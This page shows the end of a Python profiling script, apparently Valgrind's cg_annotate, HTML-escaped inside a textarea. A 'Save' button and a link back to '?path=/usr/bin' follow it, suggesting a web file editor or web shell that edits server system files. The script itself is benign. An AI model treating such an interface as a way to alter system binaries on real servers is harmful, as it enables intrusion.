@@ WARNING @@ WARNING @@ WARNING @@ WARNING @@ WARNING @@ WARNING @@ WARNING @@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
{msg}\
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&quot;&quot;&quot;


def warn_ofls_are_all_newer(ofls: list[str], cgout_filename: str) -&gt; None:
    s = &quot;&quot;.join([f&quot;@ - {ofl}\n&quot; for ofl in ofls])
    msg = f&quot;&quot;&quot;\
@ Original source files are all newer than data file &#039;{cgout_filename}&#039;:
{s}@ Annotations may not be correct.
&quot;&quot;&quot;
    print(mk_warning(msg))


def warn_bogus_lines(src_filename: str) -&gt; None:
    msg = f&quot;&quot;&quot;\
@@ Information recorded about lines past the end of &#039;{src_filename}&#039;.
&quot;&quot;&quot;
    print(mk_warning(msg), end=&quot;&quot;)


def print_annotated_src_file(
    events: Events,
    dict_line_cc: DictLineCc,
    src_file: TextIO,
    annotated_ccs: AnnotatedCcs,
    summary_cc: Cc,
) -&gt; None:
    printer = CcPrinter(events, summary_cc)
    printer.init_ccs(list(dict_line_cc.values()))
    # The starting fancy has already been printed by the caller.
    printer.print_events(&quot;&quot;)
    print()

    # The CC for line 0 is special, holding counts attributed to the source
    # file but not to any particular line (due to incomplete debug info).
    # Annotate the start of the file with this info, if present.
    line0_cc = dict_line_cc.pop(0, None)
    if line0_cc:
        suffix = &quot;&lt;unknown (line 0)&gt;&quot;
        printer.print_cc(line0_cc, None, suffix)
        add_cc_to_cc(line0_cc, annotated_ccs.line_nums_unknown_cc)
        print()

    # Find interesting line ranges: all lines with a CC, and all lines within
    # `args.context` lines of a line with a CC.
    line_nums = list(sorted(dict_line_cc.keys()))
    pairs: list[tuple[int, int]] = []
    n = len(line_nums)
    i = 0
    context = args.context
    while i &lt; n:
        lo = max(line_nums[i] - context, 1)  # `max` to prevent negatives
        while i &lt; n - 1 and line_nums[i] + 2 * context &gt;= line_nums[i + 1]:
            i += 1
        hi = line_nums[i] + context
        pairs.append((lo, hi))
        i += 1

    def print_lines(pairs: list[tuple[int, int]]) -&gt; None:
        line_num = 0
        while pairs:
            src_line = &quot;&quot;
            (lo, hi) = pairs.pop(0)
            while line_num &lt; lo - 1:
                src_line = src_file.readline()
                line_num += 1
                if not src_line:
                    return  # EOF

            # Print line number, unless start of file.
            if lo != 1:
                print(&quot;-- line&quot;, lo, &quot;-&quot; * 40)

            while line_num &lt; hi:
                src_line = src_file.readline()
                line_num += 1
                if not src_line:
                    return  # EOF
                if line_nums and line_num == line_nums[0]:
                    printer.print_cc(dict_line_cc[line_num], None, src_line[:-1])
                    add_cc_to_cc(
                        dict_line_cc[line_num], annotated_ccs.line_nums_known_cc
                    )
                    del line_nums[0]
                else:
                    printer.print_missing_cc(src_line[:-1])

            # Print line number.
            print(&quot;-- line&quot;, hi, &quot;-&quot; * 40)

    # Annotate chosen lines, tracking total annotated counts.
    if pairs:
        print_lines(pairs)

        # If there was info on lines past the end of the file, warn.
        if line_nums:
            print()
            for line_num in line_nums:
                printer.print_cc(
                    dict_line_cc[line_num], None, f&quot;&lt;bogus line {line_num}&gt;&quot;
                )
                add_cc_to_cc(dict_line_cc[line_num], annotated_ccs.line_nums_known_cc)

            print()
            warn_bogus_lines(src_file.name)

        print()


# This partially consumes `dict_mfl_dict_line_cc`, and fully consumes
# `dict_mfl_olfs`.
def print_annotated_src_files(
    ann_mfls: set[str],
    events: Events,
    dict_mfl_ofls: DictMflOfls,
    dict_mfl_dict_line_cc: DictMflDictLineCc,
    summary_cc: Cc,
) -&gt; AnnotatedCcs:
    annotated_ccs = AnnotatedCcs(events)

    def add_dict_line_cc_to_cc(dict_line_cc: DictLineCc, accum_cc: Cc) -&gt; None:
        for line_cc in dict_line_cc.values():
            add_cc_to_cc(line_cc, accum_cc)

    # Exclude the unknown (&quot;???&quot;) file, which is unannotatable.
    ann_mfls.discard(&quot;???&quot;)
    if &quot;???&quot; in dict_mfl_dict_line_cc:
        dict_line_cc = dict_mfl_dict_line_cc.pop(&quot;???&quot;)
        add_dict_line_cc_to_cc(dict_line_cc, annotated_ccs.files_unknown_cc)

    def print_ann_fancy(mfl: str) -&gt; None:
        print_fancy(f&quot;Annotated source file: {mfl}&quot;)

    # This can raise an `OSError`.
    def all_ofl_contents_identical(ofls: list[str]) -&gt; bool:
        for i in range(len(ofls) - 1):
            if not filecmp.cmp(ofls[i], ofls[i + 1], shallow=False):
                return False

        return True

    for mfl in sorted(ann_mfls):
        ofls = sorted(dict_mfl_ofls.pop(mfl))
        first_ofl = ofls[0]

        try:
            if all_ofl_contents_identical(ofls):
                # All the Ofls that map to this Mfl are identical, which means we
                # can annotate, and it doesn&#039;t matter which Ofl we use.
                with open(first_ofl, &quot;r&quot;, encoding=&quot;utf-8&quot;) as src_file:
                    dict_line_cc = dict_mfl_dict_line_cc.pop(mfl)
                    print_ann_fancy(mfl)

                    # Because all the Ofls are identical, we can treat their
                    # mtimes as if they are all as early as the earliest one.
                    # Therefore, we warn only if the earliest source file is
                    # more recent than the cgout file.
                    min_ofl_st_mtime_ns = min(os.stat(ofl).st_mtime_ns for ofl in ofls)

                    for cgout_filename in args.cgout_filename:
                        if min_ofl_st_mtime_ns &gt; os.stat(cgout_filename).st_mtime_ns:
                            warn_ofls_are_all_newer(ofls, cgout_filename)

                    print_annotated_src_file(
                        events,
                        dict_line_cc,
                        src_file,
                        annotated_ccs,
                        summary_cc,
                    )
            else:
                dict_line_cc = dict_mfl_dict_line_cc.pop(mfl)
                add_dict_line_cc_to_cc(dict_line_cc, annotated_ccs.non_identical_cc)

                # We could potentially do better here.
                # - Annotate until the first line where the src files diverge.
                # - Also, heuristic resyncing, e.g. by looking for matching
                #   lines (of sufficient complexity) after a divergence.
                print_ann_fancy(mfl)
                print(
                    &quot;Unannotated because two or more of these original files are not &quot;
                    &quot;identical:&quot;,
                    *ofls,
                    sep=&quot;\n- &quot;,
                )
                print()
        except OSError:
            dict_line_cc = dict_mfl_dict_line_cc.pop(mfl)
            add_dict_line_cc_to_cc(dict_line_cc, annotated_ccs.unreadable_cc)

            print_ann_fancy(mfl)
            print(
                &quot;Unannotated because one or more of these original files are &quot;
                &quot;unreadable:&quot;,
                *ofls,
                sep=&quot;\n- &quot;,
            )
            print()

    # Sum the CCs remaining in `dict_mfl_dict_line_cc`, which are all in files
    # below the threshold.
    for dict_line_cc in dict_mfl_dict_line_cc.values():
        add_dict_line_cc_to_cc(dict_line_cc, annotated_ccs.below_threshold_cc)

    return annotated_ccs


def print_annotation_summary(
    events: Events,
    annotated_ccs: AnnotatedCcs,
    summary_cc: Cc,
) -&gt; None:
    # Show how many events were covered by annotated lines above.
    printer = CcPrinter(events, summary_cc)
    printer.init_ccs(annotated_ccs.ccs())
    print_fancy(&quot;Annotation summary&quot;)
    printer.print_events(&quot;&quot;)
    print()

    total_cc = events.mk_empty_cc()
    for cc, label in zip(annotated_ccs.ccs(), AnnotatedCcs.labels):
        printer.print_cc(cc, None, label)
        add_cc_to_cc(cc, total_cc)

    print()

    # Internal sanity check.
    if summary_cc != total_cc:
        msg = (
            &quot;`summary:` line doesn&#039;t match computed annotated counts\n&quot;
            f&quot;- summary:   {summary_cc}\n&quot;
            f&quot;- annotated: {total_cc}&quot;
        )
        die(msg)


def main() -&gt; None:
    # Metadata, initialized to empty states.
    descs: list[str] = []
    cmds: list[str] = []
    events = Events()

    # For tracking original filenames to modified filenames.
    dict_mfl_ofls: DictMflOfls = defaultdict(set)

    # Different places where we accumulate CC data. Initialized to invalid
    # states prior to the number of events being known.
    dict_mfl_dcc: DictMnameDcc = defaultdict(None)
    dict_mfn_dcc: DictMnameDcc = defaultdict(None)
    dict_mfl_dict_line_cc: DictMflDictLineCc = defaultdict(None)
    summary_cc: Cc = []

    for n, filename in enumerate(args.cgout_filename):
        is_first_file = n == 0
        read_cgout_file(
            filename,
            is_first_file,
            descs,
            cmds,
            events,
            dict_mfl_ofls,
            dict_mfl_dcc,
            dict_mfn_dcc,
            dict_mfl_dict_line_cc,
            summary_cc,
        )

    # Each of the following calls prints a section of the output.
    print_metadata(descs, cmds, events)
    print_summary(events, summary_cc)
    ann_mfls = print_mname_summary(
        &quot;File:function&quot;, &quot;&lt; &quot;, events, dict_mfl_dcc, summary_cc
    )
    print_mname_summary(&quot;Function:file&quot;, &quot;&gt; &quot;, events, dict_mfn_dcc, summary_cc)
    if args.annotate:
        annotated_ccs = print_annotated_src_files(
            ann_mfls, events, dict_mfl_ofls, dict_mfl_dict_line_cc, summary_cc
        )

        print_annotation_summary(events, annotated_ccs, summary_cc)


if __name__ == &quot;__main__&quot;:
    main()
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>